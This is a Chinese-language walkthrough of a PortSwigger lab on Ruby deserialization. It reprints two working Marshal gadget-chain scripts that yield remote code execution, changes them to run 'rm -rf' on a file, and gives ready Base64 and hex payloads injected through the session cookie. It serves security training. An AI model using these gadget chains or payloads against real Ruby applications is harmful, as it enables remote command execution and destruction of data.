从业者-收录在案的小工具链-Ruby反序列化
# 实验室:使用收录在案的小工具链利用Ruby反序列化
# 题目
此实验室使用基于序列化的会话机制和 Ruby on Rails 框架。此框架有记录在案的漏洞利用,可通过小工具链实现远程代码执行。
若要解决实验室问题,请找到一个记录在案的漏洞利用,并对其进行调整,以创建 包含远程代码执行有效负载 的恶意序列化对象。然后,将此对象传递到网站中,以从 Carlos 的家目录中删除morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
尝试在线搜索 “ruby deserialization gadget chain”(ruby 反序列化小工具链)。
- name: 实验室-从业者
desc: 使用收录在案的小工具链利用Ruby反序列化 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
# 开始实验
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
继续老一套流程,登录并捕获请求数据包,找到 Cookie 中经过加密的值。
解码之后是一段十六进制数据,根据特征,这并不是 Java 序列化对象。废话,这当然是 Ruby 序列化对象啦!
随意设置 Cookie 值,试图让网站报错,以获取有效信息。
然后,确实是报错了......不过......
# 在网络上搜索工具链
根据题目中的提示,在搜索引擎键入字符 “ruby deserialization gadget chain” 并进行搜索。
最终我选定了三篇文章:
- https://www.elttam.com/blog/ruby-deserialization/ (opens new window)
- https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/ (opens new window)
- https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html (opens new window)
# 第一个收录在案的工具链
这是第一篇文章,也是搜索引擎置顶的文章,我很有信心:https://www.elttam.com/blog/ruby-deserialization/ (opens new window)
文章中介绍了一个 Ruby 反序列化漏洞,你可以使用以下脚本来生成相应的 Ruby 恶意序列化对象:
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
这个脚本很贴心,会分别为你生成 十六进制格式 以及 Base64 格式的恶意序列化对象,省去了你自行编码的麻烦。
文章中还使用 docker 来进行概念验证:
- ruby 2.0~2.5 版本
- 用 Ruby 中的
Marshal.load()
函数来加载一段 十六进制格式 的恶意序列化对象,实现命令执行
这里我为了方便,只验证了 Ruby 2.5 版本。从图中可以看到,成功利用了命令执行漏洞。
但是现在有一个问题,我们不知道目标网站的 Ruby 版本是多少。只能盲测了。
docker run -it ruby:2.5 ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'
修改用于生成载荷的 Ruby 源代码,将id
命令替换为rm -rf /home/carlos/morale.txt
以实现题目要求:
# stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
stub_specification.instance_variable_set(:@loaded_from, "|rm -rf /home/carlos/morale.txt 1>&2")
2
3
保存修改后的 Ruby 脚本,然后在 Kali Linux 上运行:
vim test.rb
chmod +x test.rb
./test.rb
2
3
成功输出了十六进制格式的载荷,但是 Base64 格式的则运行失败。
完成实验需要 Base64 格式啊!你让我怎么办!
没关系,可能是 Kali 运行环境有问题,不是还有 docker 吗?
使用 docker 运行一个 Ruby 镜像,将脚本拷贝到容器中,然后在容器中运行该脚本:
docker run --name ruby25 -it -d ruby:2.5
docker cp ./test.rb ruby25:/opt
docker exec ruby25 ruby -w /opt/test.rb
2
3
诶嘿,还是容器好用。
记得把换行去掉,然后把=
URL 编码为%3d
。
BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uCDoRQGxvYWRlZF9mcm9tSSIpfHJtIC1yZiAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCAxPiYyBjoGRVQ6CkBkYXRhMDsJMG87CAA6EUBkZXZlbG9wbWVudEY%3d
覆盖原有 Cookie,刷新网页。
嗯?Ruby 2.7 版本?
这篇文章中只演示了 Ruby 2.0~2.5 版本,那这个漏洞是否适用于 Ruby 2.7 版本?
好吧,不适用,第一次攻击失败。
# 第二个收录在案的工具链
文章中介绍的漏洞是:Ruby 在解析 YAML 文件时产生代码/命令执行。
好像和反序列化没多大关系诶,而且我们无法在目标网站中上传 YAML 文件,直接放弃!
# 第三个收录在案的工具链
适用于 Ruby 2.x-3.x 版本,包括 Ruby 2.7,对口!
和第一个工具链相同,提供了一个用于生成 Ruby 恶意序列化对象的脚本:
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
文章中的演示:
我们需要对以上脚本进行微调:
- 将命令
id
修改为rm -rf /home/carlos/morale.txt
,满足题目要求 - 参考第一个工具链所提供的脚本,为其添加 Base64 格式的输出
......省略
rs.instance_variable_set('@git_set', "rm -rf /home/carlos/morale.txt")
......省略
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
# puts payload.inspect
# puts Marshal.load(payload)
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
2
3
4
5
6
7
8
9
10
11
12
由于输出的 Base64 编码值带有换行符,所以此处通过sed
命令自动去除换行:
# ✖(你以为的去除换行, 但是 sed 命令本身就是以行为单位来处理的, 所以该命令无效)
./test-2.x-3.x.rb | sed 's/\n//g'
# ✔(好难记)
./test-2.x-3.x.rb | sed ':a;N;$!ba;s/\n//g'
2
3
4
5
运行脚本,获得 Base64 格式的 Ruby 恶意序列化对象,然后对=
进行 URL 编码:
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIiNybSAtcmYgL2hvbWUvY2FybG9zL21vcmFsZS50eHQGOwxUOxI6DHJlc29sdmU%3d
覆盖原有 Cookie,刷新网页。
攻击成功,实验完成。